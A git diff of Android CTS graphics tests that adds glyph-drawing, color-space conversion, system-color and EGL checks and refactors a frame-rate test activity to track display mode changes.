+    public void drawGlyphs_glyphCount() {
+        Paint paint = new Paint();
+        paint.setTextSize(TEXT_SIZE);
+
+        Bitmap firstThreeBmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                3,  // glyph count
+                mFont,
+                paint
+        );
+
+        Bitmap firstTwoBmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                2,  // glyph count
+                mFont,
+                paint
+        );
+
+        assertThat(firstThreeBmp.sameAs(firstTwoBmp)).isFalse();
+    }
+
+    @Test
+    public void drawGlyphs_positionDifference() {
+        Paint paint = new Paint();
+        paint.setTextSize(TEXT_SIZE);
+
+        float dx = 10f;
+        float dy = 1f;
+        Bitmap bmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + dx, DRAW_ORIGIN_Y + dy,
+                        DRAW_ORIGIN_X + dx * 2, DRAW_ORIGIN_Y + dy * 2,
+                        DRAW_ORIGIN_X + dx * 3, DRAW_ORIGIN_Y + dy * 3,
+                        DRAW_ORIGIN_X + dx * 4, DRAW_ORIGIN_Y + dy * 4,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        dx = 5f;
+        dy = 2f;
+        Bitmap differentGlyphPositionBmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + dx, DRAW_ORIGIN_Y + dy,
+                        DRAW_ORIGIN_X + dx * 2, DRAW_ORIGIN_Y + dy * 2,
+                        DRAW_ORIGIN_X + dx * 3, DRAW_ORIGIN_Y + dy * 3,
+                        DRAW_ORIGIN_X + dx * 4, DRAW_ORIGIN_Y + dy * 4,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        assertThat(bmp.sameAs(differentGlyphPositionBmp)).isFalse();
+    }
+
+    @Test
+    public void drawGlyphs_paintEffect() {
+        Paint paint = new Paint();
+        paint.setTextSize(TEXT_SIZE);
+
+        Bitmap bmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        paint.setTextSize(TEXT_SIZE * 2f);
+        Bitmap twiceTextSizeBmp = drawGlyphsToBitmap(
+                new int[] { 1, 2, 3, 4, 5 },
+                0,  // glyph offset
+                new float[] {
+                        DRAW_ORIGIN_X, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 2, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 3, DRAW_ORIGIN_Y,
+                        DRAW_ORIGIN_X + GLYPH_ADVANCE * 4, DRAW_ORIGIN_Y,
+                },
+                0,  // position offset
+                5,  // glyph count
+                mFont,
+                paint
+        );
+
+        assertThat(bmp.sameAs(twiceTextSizeBmp)).isFalse();
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void nullGlyphIds() {
+        drawGlyphsToBitmap(null, 0, new float[] {}, 0, 0, mFont, new Paint());
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void nullPositions() {
+        drawGlyphsToBitmap(new int[] {}, 0, null, 0, 0, mFont, new Paint());
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void nullFont() {
+        drawGlyphsToBitmap(new int[] {}, 0, new float[] {}, 0, 0, null, new Paint());
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void nullPaint() {
+        drawGlyphsToBitmap(new int[] {}, 0, new float[] {}, 0, 0, mFont, null);
+    }
+
+    @Test(expected = IndexOutOfBoundsException.class)
+    public void negativeGlyphOffset() {
+        drawGlyphsToBitmap(new int[] {}, -1, new float[] {}, 0, 0, mFont, new Paint());
+    }
+
+    @Test(expected = IndexOutOfBoundsException.class)
+    public void negativePositionOffset() {
+        drawGlyphsToBitmap(new int[] {}, 0, new float[] {}, -1, 0, mFont, new Paint());
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void negativeGlyphCount() {
+        drawGlyphsToBitmap(new int[] {}, 0, new float[] {}, 0, -1, mFont, new Paint());
+    }
+
+    @Test(expected = IndexOutOfBoundsException.class)
+    public void tooShortGlyphIds() {
+        drawGlyphsToBitmap(new int[] {1, 2}, 1, new float[] {}, 0, 2, mFont, new Paint());
+    }
+
+    @Test(expected = IndexOutOfBoundsException.class)
+    public void tooShortPositions() {
+        drawGlyphsToBitmap(new int[] { 1 }, 0, new float[] { 0f, 0f }, 1, 1, mFont, new Paint());
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
index 92919b9..3d7561c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
@@ -26,7 +26,6 @@
 import android.graphics.ColorSpace;
 
 import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -34,8 +33,11 @@
 import java.util.Arrays;
 import java.util.function.DoubleUnaryOperator;
 
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+
 @SmallTest
-@RunWith(AndroidJUnit4.class)
+@RunWith(JUnitParamsRunner.class)
 public class ColorSpaceTest {
     // Column-major RGB->XYZ transform matrix for the sRGB color space
     private static final float[] SRGB_TO_XYZ = {
@@ -790,9 +792,154 @@
                         1 / 1.055, 0.055 / 1.055, 1 / 12.92, 0.04045, 2.4)));
     }
 
+    @Test(expected = IllegalArgumentException.class)
+    @Parameters({"0", "-1", "-50"})
+    public void testInvalidCct(int cct) {
+        ColorSpace.cctToXyz(cct);
+    }
+
+    @Test
+    public void testCctToXyz() {
+        // Verify that range listed as meaningful by the API return float arrays as expected.
+        for (int i = 1667; i <= 25000; i++) {
+            float[] result = ColorSpace.cctToXyz(i);
+            assertNotNull(result);
+            assertEquals(3, result.length);
+        }
+    }
+
+    private static Object[] cctToXyzExpected() {
+        return new Object[] {
+                // ILLUMINANT_A
+                new Object[] { 2856, new float[] { 1.0970824f, 1.0f, 0.3568525f }},
+                // ILLUMINANT_B
+                new Object[] { 4874, new float[] { 0.98355806f, 1.0f, 0.8376475f }},
+                // ILLUMINANT_C
+                new Object[] { 6774, new float[] { 0.9680535f, 1.0f, 1.1603559f }},
+                // ILLUMINANT_D50
+                new Object[] { 5003, new float[] { 0.9811904f, 1.0f, 0.86360276f }},
+                // ILLUMINANT_D55
+                new Object[] { 5503, new float[] { 0.97444946f, 1.0f, 0.9582717f }},
+                // ILLUMINANT_D60
+                new Object[] { 6004, new float[] { 0.9705604f, 1.0f, 1.0441511f }},
+                // ILLUMINANT_D65
+                new Object[] { 6504, new float[] { 0.968573f, 1.0f, 1.1216444f }},
+                // ILLUMINANT_D75
+                new Object[] { 7504, new float[] { 0.9679457f, 1.0f, 1.2551404f }},
+                // ILLUMINANT_E
+                new Object[] { 5454, new float[] { 0.9749648f, 1.0f, 0.9494016f }},
+                // Test a sample of values in the meaningful range according to the API.
+                new Object[] { 1667, new float[] { 1.4014802f, 1.0f, 0.08060435f }},
+                new Object[] { 1668, new float[] { 1.4010513f, 1.0f, 0.08076303f }},
+                new Object[] { 1700, new float[] { 1.3874257f, 1.0f, 0.08596305f }},
+                new Object[] { 1701, new float[] { 1.3870035f, 1.0f, 0.08612958f }},
+                new Object[] { 2020, new float[] { 1.2686056f, 1.0f, 0.14921218f }},
+                new Object[] { 2102, new float[] { 1.2439337f, 1.0f, 0.1678791f }},
+                new Object[] { 2360, new float[] { 1.1796018f, 1.0f, 0.2302558f }},
+                new Object[] { 4688, new float[] { 0.9875373f, 1.0f, 0.79908675f }},
+                new Object[] { 5797, new float[] { 0.97189087f, 1.0f, 1.0097121f }},
+                new Object[] { 7625, new float[] { 0.96806175f, 1.0f, 1.2695707f }},
+                new Object[] { 8222, new float[] { 0.9690009f, 1.0f, 1.3359972f }},
+                new Object[] { 8330, new float[] { 0.9692224f, 1.0f, 1.3472213f }},
+                new Object[] { 9374, new float[] { 0.9718307f, 1.0f, 1.4447508f }},
+                new Object[] { 9604, new float[] { 0.97247595f, 1.0f, 1.4638413f }},
+                new Object[] { 9894, new float[] { 0.9733059f, 1.0f, 1.4868189f }},
+                new Object[] { 10764, new float[] { 0.97584003f, 1.0f, 1.5491791f }},
+                new Object[] { 11735, new float[] { 0.97862047f, 1.0f, 1.6088297f }},
+                new Object[] { 12819, new float[] { 0.98155034f, 1.0f, 1.6653923f }},
+                new Object[] { 13607, new float[] { 0.98353446f, 1.0f, 1.7010691f }},
+                new Object[] { 15185, new float[] { 0.98712224f, 1.0f, 1.7615601f }},
+                new Object[] { 17474, new float[] { 0.9914801f, 1.0f, 1.8297766f }},
+                new Object[] { 18788, new float[] { 0.9935937f, 1.0f, 1.8612393f }},
+                new Object[] { 19119, new float[] { 0.99408686f, 1.0f, 1.8684553f }},
+                new Object[] { 19174, new float[] { 0.99416786f, 1.0f, 1.8696303f }},
+                new Object[] { 19437, new float[] { 0.9945476f, 1.0f, 1.8751476f }},
+                new Object[] { 19533, new float[] { 0.99468416f, 1.0f, 1.8771234f }},
+                new Object[] { 19548, new float[] { 0.99470526f, 1.0f, 1.8774294f }},
+                new Object[] { 19762, new float[] { 0.995005f, 1.0f, 1.8817542f }},
+                new Object[] { 19774, new float[] { 0.9950216f, 1.0f, 1.8819935f }},
+                new Object[] { 20291, new float[] { 0.99572146f, 1.0f, 1.8920314f }},
+                new Object[] { 23018, new float[] { 0.99893945f, 1.0f, 1.9371331f }},
+                new Object[] { 23509, new float[] { 0.999445f, 1.0f, 1.9440757f }},
+                new Object[] { 24761, new float[] { 1.0006485f, 1.0f, 1.9604537f }},
+
+        };
+    }
+
+    @Test
+    @Parameters(method = "cctToXyzExpected")
+    public void testCctToXyzValues(int cct, float[] xyz) {
+        float[] result = ColorSpace.cctToXyz(cct);
+        assertArrayEquals(xyz, result, 1e-3f);
+    }
+
+    private static Object[] chromaticAdaptationNullParameters() {
+        return new Object[] {
+                new Object[] { null, ColorSpace.ILLUMINANT_D50, ColorSpace.ILLUMINANT_D60 },
+                new Object[] { ColorSpace.Adaptation.BRADFORD, null, ColorSpace.ILLUMINANT_D60 },
+                new Object[] { ColorSpace.Adaptation.BRADFORD, ColorSpace.ILLUMINANT_D60, null },
+        };
+    }
+
+    @Test(expected = NullPointerException.class)
+    @Parameters(method = "chromaticAdaptationNullParameters")
+    public void testChromaticAdaptationNullParameters(ColorSpace.Adaptation adaptation,
+            float[] srcWhitePoint, float[] dstWhitePoint) {
+        ColorSpace.chromaticAdaptation(adaptation, srcWhitePoint, dstWhitePoint);
+    }
+
+    private static Object[] chromaticAdaptationWrongSizedArrays() {
+        return new Object[] {
+                new Object[] { ColorSpace.Adaptation.BRADFORD, new float[] { 1.0f },
+                        ColorSpace.ILLUMINANT_D60 },
+                new Object[] { ColorSpace.Adaptation.BRADFORD, ColorSpace.ILLUMINANT_D60,
+                        new float[] { 1.0f, 1.0f, 1.0f, 1.0f }},
+        };
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    @Parameters(method = "chromaticAdaptationWrongSizedArrays")
+    public void testChromaticAdaptationWrongSizedArrays(ColorSpace.Adaptation adaptation,
+            float[] srcWhitePoint, float[] dstWhitePoint) {
+        ColorSpace.chromaticAdaptation(adaptation, srcWhitePoint, dstWhitePoint);
+    }
+
+    private static float[] sIdentityMatrix = new float[] {
+            1.0f, 0.0f, 0.0f,
+            0.0f, 1.0f, 0.0f,
+            0.0f, 0.0f, 1.0f
+    };
+
+    @Test
+    public void testChromaticAdaptation() {
+        for (ColorSpace.Adaptation adaptation : ColorSpace.Adaptation.values()) {
+            float[][] whitePoints = {
+                    ColorSpace.ILLUMINANT_A,
+                    ColorSpace.ILLUMINANT_B,
+                    ColorSpace.ILLUMINANT_C,
+                    ColorSpace.ILLUMINANT_D50,
+                    ColorSpace.ILLUMINANT_D55,
+                    ColorSpace.ILLUMINANT_D60,
+                    ColorSpace.ILLUMINANT_D65,
+                    ColorSpace.ILLUMINANT_D75,
+                    ColorSpace.ILLUMINANT_E,
+            };
+            for (float[] srcWhitePoint : whitePoints) {
+                for (float[] dstWhitePoint : whitePoints) {
+                    float[] result = ColorSpace.chromaticAdaptation(adaptation, srcWhitePoint,
+                            dstWhitePoint);
+                    assertNotNull(result);
+                    assertEquals(9, result.length);
+                    if (Arrays.equals(srcWhitePoint, dstWhitePoint)) {
+                        assertArrayEquals(sIdentityMatrix, result, 0f);
+                    }
+                }
+            }
+        }
+    }
 
     @SuppressWarnings("SameParameterValue")
-    private static void assertArrayNotEquals(float[] a, float[] b, float eps) {
+    private void assertArrayNotEquals(float[] a, float[] b, float eps) {
         for (int i = 0; i < a.length; i++) {
             if (Float.compare(a[i], b[i]) == 0 || Math.abs(a[i] - b[i]) < eps) {
                 fail("Expected " + a[i] + ", received " + b[i]);
@@ -800,7 +947,7 @@
         }
     }
 
-    private static void assertArrayEquals(float[] a, float[] b, float eps) {
+    private void assertArrayEquals(float[] a, float[] b, float eps) {
         for (int i = 0; i < a.length; i++) {
             if (Float.compare(a[i], b[i]) != 0 && Math.abs(a[i] - b[i]) > eps) {
                 fail("Expected " + a[i] + ", received " + b[i]);
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
index 4e08ba0..ccfb722 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
@@ -75,6 +75,69 @@
                 { 0xff000000, android.R.color.widget_edittext_dark },
         };
 
+        int systemColors[] = {
+                android.R.color.system_neutral1_0,
+                android.R.color.system_neutral1_50,
+                android.R.color.system_neutral1_100,
+                android.R.color.system_neutral1_200,
+                android.R.color.system_neutral1_300,
+                android.R.color.system_neutral1_400,
+                android.R.color.system_neutral1_500,
+                android.R.color.system_neutral1_600,
+                android.R.color.system_neutral1_700,
+                android.R.color.system_neutral1_800,
+                android.R.color.system_neutral1_900,
+                android.R.color.system_neutral1_1000,
+                android.R.color.system_neutral2_0,
+                android.R.color.system_neutral2_50,
+                android.R.color.system_neutral2_100,
+                android.R.color.system_neutral2_200,
+                android.R.color.system_neutral2_300,
+                android.R.color.system_neutral2_400,
+                android.R.color.system_neutral2_500,
+                android.R.color.system_neutral2_600,
+                android.R.color.system_neutral2_700,
+                android.R.color.system_neutral2_800,
+                android.R.color.system_neutral2_900,
+                android.R.color.system_neutral2_1000,
+                android.R.color.system_accent1_0,
+                android.R.color.system_accent1_50,
+                android.R.color.system_accent1_100,
+                android.R.color.system_accent1_200,
+                android.R.color.system_accent1_300,
+                android.R.color.system_accent1_400,
+                android.R.color.system_accent1_500,
+                android.R.color.system_accent1_600,
+                android.R.color.system_accent1_700,
+                android.R.color.system_accent1_800,
+                android.R.color.system_accent1_900,
+                android.R.color.system_accent1_1000,
+                android.R.color.system_accent2_0,
+                android.R.color.system_accent2_50,
+                android.R.color.system_accent2_100,
+                android.R.color.system_accent2_200,
+                android.R.color.system_accent2_300,
+                android.R.color.system_accent2_400,
+                android.R.color.system_accent2_500,
+                android.R.color.system_accent2_600,
+                android.R.color.system_accent2_700,
+                android.R.color.system_accent2_800,
+                android.R.color.system_accent2_900,
+                android.R.color.system_accent2_1000,
+                android.R.color.system_accent3_0,
+                android.R.color.system_accent3_50,
+                android.R.color.system_accent3_100,
+                android.R.color.system_accent3_200,
+                android.R.color.system_accent3_300,
+                android.R.color.system_accent3_400,
+                android.R.color.system_accent3_500,
+                android.R.color.system_accent3_600,
+                android.R.color.system_accent3_700,
+                android.R.color.system_accent3_800,
+                android.R.color.system_accent3_900,
+                android.R.color.system_accent3_1000,
+        };
+
         List<Integer> expectedColorStateLists = Arrays.asList(
                 android.R.color.primary_text_dark,
                 android.R.color.primary_text_dark_nodisable,
@@ -124,7 +187,7 @@
         }
 
         // System-API colors are used to allow updateable platform components to use the same colors
-        // as the system. The actualy value of the color does not matter. Hence only enforce that
+        // as the system. The actual value of the color does not matter. Hence only enforce that
         // 'colors' contains all the public colors and ignore System-api colors.
         int numPublicApiColors = 0;
         for (Field declaredColor : android.R.color.class.getDeclaredFields()) {
@@ -137,7 +200,7 @@
         }
 
         assertEquals("Test no longer in sync with colors in android.R.color",
-                colors.length, numPublicApiColors);
+                colors.length + systemColors.length, numPublicApiColors);
     }
 
     @Test
diff --git a/tests/tests/graphics/src/android/graphics/cts/EGL15Test.java b/tests/tests/graphics/src/android/graphics/cts/EGL15Test.java
index cbb485d..5377afb 100644
--- a/tests/tests/graphics/src/android/graphics/cts/EGL15Test.java
+++ b/tests/tests/graphics/src/android/graphics/cts/EGL15Test.java
@@ -29,6 +29,7 @@
 import android.opengl.EGLSurface;
 import android.opengl.EGLSync;
 import android.opengl.GLES20;
+import android.os.SystemProperties;
 
 import androidx.test.filters.SmallTest;
 
@@ -331,6 +332,12 @@
             return;
         }
 
+        // Required functionality for devices released with Android R (11),
+        // skip if launched with older version of Android.
+        if (SystemProperties.getInt("ro.product.first_api_level", 0) < 30) {
+            return;
+        }
+
         mEglContext = EGL14.eglCreateContext(mEglDisplay, mEglConfig, EGL14.EGL_NO_CONTEXT,
                 new int[] { EGL15.EGL_CONTEXT_OPENGL_DEBUG, EGL14.EGL_FALSE, EGL14.EGL_NONE }, 0);
         if (mEglContext == EGL15.EGL_NO_CONTEXT) {
diff --git a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
index dee467e..a109cd4 100644
--- a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
+++ b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
@@ -18,6 +18,7 @@
 
 import static android.system.OsConstants.EINVAL;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
@@ -36,8 +37,14 @@
 import android.view.SurfaceView;
 import android.view.ViewGroup;
 
+import com.google.common.primitives.Floats;
+
+import java.io.PrintWriter;
+import java.io.StringWriter;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.Collections;
+import java.util.List;
 
 /**
  * An Activity to help with frame rate testing.
@@ -54,6 +61,7 @@
     private static final int PRECONDITION_WAIT_MAX_ATTEMPTS = 5;
     private static final long PRECONDITION_WAIT_TIMEOUT_SECONDS = 20;
     private static final long PRECONDITION_VIOLATION_WAIT_TIMEOUT_SECONDS = 3;
+    private static final float FRAME_RATE_TOLERANCE = 0.01f;
 
     private DisplayManager mDisplayManager;
     private SurfaceView mSurfaceView;
@@ -61,7 +69,7 @@
     private Object mLock = new Object();
     private Surface mSurface = null;
     private float mDeviceFrameRate;
-    private ArrayList<Float> mFrameRateChangedEvents = new ArrayList<Float>();
+    private ModeChangedEvents mModeChangedEvents = new ModeChangedEvents();
 
     private enum ActivityState { RUNNING, PAUSED, DESTROYED }
 
@@ -98,13 +106,14 @@
                 return;
             }
             synchronized (mLock) {
-                float frameRate = mDisplayManager.getDisplay(displayId).getMode().getRefreshRate();
+                Display.Mode mode = mDisplayManager.getDisplay(displayId).getMode();
+                mModeChangedEvents.add(mode);
+                float frameRate =  mode.getRefreshRate();
                 if (frameRate != mDeviceFrameRate) {
                     Log.i(TAG,
-                            String.format("Frame rate changed: %.0f --> %.0f", mDeviceFrameRate,
+                            String.format("Frame rate changed: %.2f --> %.2f", mDeviceFrameRate,
                                     frameRate));
                     mDeviceFrameRate = frameRate;
-                    mFrameRateChangedEvents.add(frameRate);
                     mLock.notify();
                 }
             }
@@ -114,17 +123,38 @@
         public void onDisplayRemoved(int displayId) {}
     };
 
+    // Wrapper around ArrayList for which the only allowed mutable operation is add().
+    // We use this to store all mode change events during a test. When we need to iterate over
+    // all mode changes during a certain operation, we use the number of events in the beginning
+    // and in the end. It's important to never clear or modify the elements in this list hence the
+    // wrapper.
+    private static class ModeChangedEvents {
+        private List<Display.Mode> mEvents = new ArrayList<>();
+
+        public void add(Display.Mode mode) {
+            mEvents.add(mode);
+        }
+
+        public Display.Mode get(int i) {
+            return mEvents.get(i);
+        }
+
+        public int size() {
+            return mEvents.size();
+        }
+    }
+
     private static class PreconditionViolatedException extends RuntimeException {
         PreconditionViolatedException() {}
     }
 
     private static class FrameRateTimeoutException extends RuntimeException {
-        FrameRateTimeoutException(float appRequestedFrameRate, float deviceFrameRate) {
-            this.appRequestedFrameRate = appRequestedFrameRate;
+        FrameRateTimeoutException(float expectedFrameRate, float deviceFrameRate) {
+            this.expectedFrameRate = expectedFrameRate;
             this.deviceFrameRate = deviceFrameRate;
         }
 
-        public float appRequestedFrameRate;
+        public float expectedFrameRate;
         public float deviceFrameRate;
     }
 
@@ -187,34 +217,40 @@
             postBuffer();
         }
 
-        public int setFrameRate(float frameRate, int compatibility) {
+        public int setFrameRate(float frameRate, int compatibility, int changeFrameRateStrategy) {
             Log.i(TAG,
-                    String.format("Setting frame rate for %s: fps=%.0f compatibility=%s", mName,
+                    String.format("Setting frame rate for %s: fps=%.2f compatibility=%s", mName,
                             frameRate, frameRateCompatibilityToString(compatibility)));
 
             int rc = 0;
             if (mApi == Api.SURFACE) {
-                mSurface.setFrameRate(frameRate, compatibility);
+                mSurface.setFrameRate(frameRate, compatibility, changeFrameRateStrategy);
             } else if (mApi == Api.ANATIVE_WINDOW) {
-                rc = nativeWindowSetFrameRate(mSurface, frameRate, compatibility);
+                rc = nativeWindowSetFrameRate(mSurface, frameRate, compatibility,
+                        changeFrameRateStrategy);
             } else if (mApi == Api.SURFACE_CONTROL) {
                 SurfaceControl.Transaction transaction = new SurfaceControl.Transaction();
                 try {
-                    transaction.setFrameRate(mSurfaceControl, frameRate, compatibility).apply();
+                    transaction
+                        .setFrameRate(mSurfaceControl, frameRate, compatibility,
+                                changeFrameRateStrategy)
+                        .apply();
                 } finally {
                     transaction.close();
                 }
             } else if (mApi == Api.NATIVE_SURFACE_CONTROL) {
-                nativeSurfaceControlSetFrameRate(mNativeSurfaceControl, frameRate, compatibility);
+                nativeSurfaceControlSetFrameRate(mNativeSurfaceControl, frameRate, compatibility,
+                        changeFrameRateStrategy);
             }
             return rc;
         }
 
-        public void setInvalidFrameRate(float frameRate, int compatibility) {
+        public void setInvalidFrameRate(float frameRate, int compatibility,
+                int changeFrameRateStrategy) {
             if (mApi == Api.SURFACE) {
                 boolean caughtIllegalArgException = false;
                 try {
-                    setFrameRate(frameRate, compatibility);
+                    setFrameRate(frameRate, compatibility, changeFrameRateStrategy);
                 } catch (IllegalArgumentException exc) {
                     caughtIllegalArgException = true;
                 }
@@ -222,7 +258,7 @@
                                 + " Surface.setFrameRate()",
                         caughtIllegalArgException);
             } else {
-                int rc = setFrameRate(frameRate, compatibility);
+                int rc = setFrameRate(frameRate, compatibility, changeFrameRateStrategy);
                 if (mApi == Api.ANATIVE_WINDOW) {
                     assertTrue("Expected -EINVAL return value from invalid call to"
                                     + " ANativeWindow_setFrameRate()",
@@ -312,8 +348,10 @@
         super.onCreate(savedInstanceState);
         synchronized (mLock) {
             mDisplayManager = (DisplayManager) getSystemService(DISPLAY_SERVICE);
-            mDeviceFrameRate =
-                    mDisplayManager.getDisplay(Display.DEFAULT_DISPLAY).getMode().getRefreshRate();
+            Display.Mode mode = getDisplay().getMode();
+            mDeviceFrameRate = mode.getRefreshRate();
+            // Insert the initial mode so we have the full display mode history.
+            mModeChangedEvents.add(mode);
             mDisplayManager.registerDisplayListener(mDisplayListener, mHandler);
             mSurfaceView = new SurfaceView(this);
             mSurfaceView.setWillNotDraw(false);
@@ -353,40 +391,70 @@
         }
     }
 
-    private ArrayList<Float> getFrameRatesToTest() {
-        Display display = mDisplayManager.getDisplay(Display.DEFAULT_DISPLAY);
+    private boolean isAlternative(Display.Mode mode, Display.Mode other) {
+        if (!hasSameResolution(mode, other)) {
+            return false;
+        }
+
+        for (float alternativeFps : mode.getAlternativeRefreshRates()) {
+            if (Math.abs(alternativeFps - other.getRefreshRate()) <= FRAME_RATE_TOLERANCE) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    // Returns the refresh rates with the same resolution as "mode".
+    private ArrayList<Float> getRefreshRates(Display.Mode mode, Display display) {
         Display.Mode[] modes = display.getSupportedModes();
-        Display.Mode currentMode = display.getMode();
-        ArrayList<Float> frameRates = new ArrayList<Float>();
-        for (Display.Mode mode : modes) {
-            if (mode.getPhysicalWidth() == currentMode.getPhysicalWidth()
-                    && mode.getPhysicalHeight() == currentMode.getPhysicalHeight()) {
-                frameRates.add(mode.getRefreshRate());
+        ArrayList<Float> frameRates = new ArrayList<>();
+        for (Display.Mode supportedMode : modes) {
+            if (hasSameResolution(supportedMode, mode)) {
+                frameRates.add(supportedMode.getRefreshRate());
             }
         }
         Collections.sort(frameRates);
-        ArrayList<Float> uniqueFrameRates = new ArrayList<Float>();
+        ArrayList<Float> uniqueFrameRates = new ArrayList<>();
         for (float frameRate : frameRates) {
             if (uniqueFrameRates.isEmpty()
-                    || frameRate - uniqueFrameRates.get(uniqueFrameRates.size() - 1) >= 1.0f) {
+                    || frameRate - uniqueFrameRates.get(uniqueFrameRates.size() - 1)
+                            >= FRAME_RATE_TOLERANCE) {
                 uniqueFrameRates.add(frameRate);
             }
         }
         return uniqueFrameRates;
     }
 
+    private List<Float> getSeamedRefreshRates(Display.Mode mode, Display display) {
+        List<Float> seamedRefreshRates = new ArrayList<>();
+        Display.Mode[] modes = display.getSupportedModes();
+        for (Display.Mode otherMode : modes) {
+            if (hasSameResolution(mode, otherMode) && !isAlternative(mode, otherMode)) {
+                seamedRefreshRates.add(otherMode.getRefreshRate());
+            }
+        }
+        return seamedRefreshRates;
+    }
+
+    private boolean hasSameResolution(Display.Mode mode1, Display.Mode mode2) {
+        return mode1.getPhysicalHeight() == mode2.getPhysicalHeight()
+                && mode1.getPhysicalWidth() == mode2.getPhysicalWidth();
+    }
+
     private boolean isFrameRateMultiple(float higherFrameRate, float lowerFrameRate) {
         float multiple = higherFrameRate / lowerFrameRate;
         int roundedMultiple = Math.round(multiple);
         return roundedMultiple > 0
-                && Math.abs(roundedMultiple * lowerFrameRate - higherFrameRate) <= 0.1f;
+                && Math.abs(roundedMultiple * lowerFrameRate - higherFrameRate)
+                    <= FRAME_RATE_TOLERANCE;
     }
 
     // Returns two device-supported frame rates that aren't multiples of each other, or null if no
     // such incompatible frame rates are available. This is useful for testing behavior where we
     // have layers with conflicting frame rates.
-    private float[] getIncompatibleFrameRates() {
-        ArrayList<Float> frameRates = getFrameRatesToTest();
+    private float[] getIncompatibleFrameRates(Display display) {
+        ArrayList<Float> frameRates = getRefreshRates(display.getMode(), display);
         for (int i = 0; i < frameRates.size(); i++) {
             for (int j = i + 1; j < frameRates.size(); j++) {
                 if (!isFrameRateMultiple(Math.max(frameRates.get(i), frameRates.get(j)),
@@ -421,6 +489,8 @@
                     mActivityState != ActivityState.DESTROYED);
             nowNanos = System.nanoTime();
         }
+        // Make sure any previous mode changes are completed.
+        waitForStableFrameRate();
     }
 
     // Returns true if we encounter a precondition violation, false otherwise.
@@ -449,9 +519,9 @@
     }
 
     // Returns true if we reached waitUntilNanos, false if some other event occurred.
-    private boolean waitForEvents(long waitUntilNanos, ArrayList<TestSurface> surfaces)
+    private boolean waitForEvents(long waitUntilNanos, List<TestSurface> surfaces)
             throws InterruptedException {
-        mFrameRateChangedEvents.clear();
+        int numModeChangedEvents = mModeChangedEvents.size();
         long nowNanos = System.nanoTime();
         while (nowNanos < waitUntilNanos) {
             long surfacePostTime = Long.MAX_VALUE;
@@ -469,7 +539,7 @@
             }
             nowNanos = System.nanoTime();
             verifyPreconditions();
-            if (!mFrameRateChangedEvents.isEmpty()) {
+            if (mModeChangedEvents.size() > numModeChangedEvents) {
                 return false;
             }
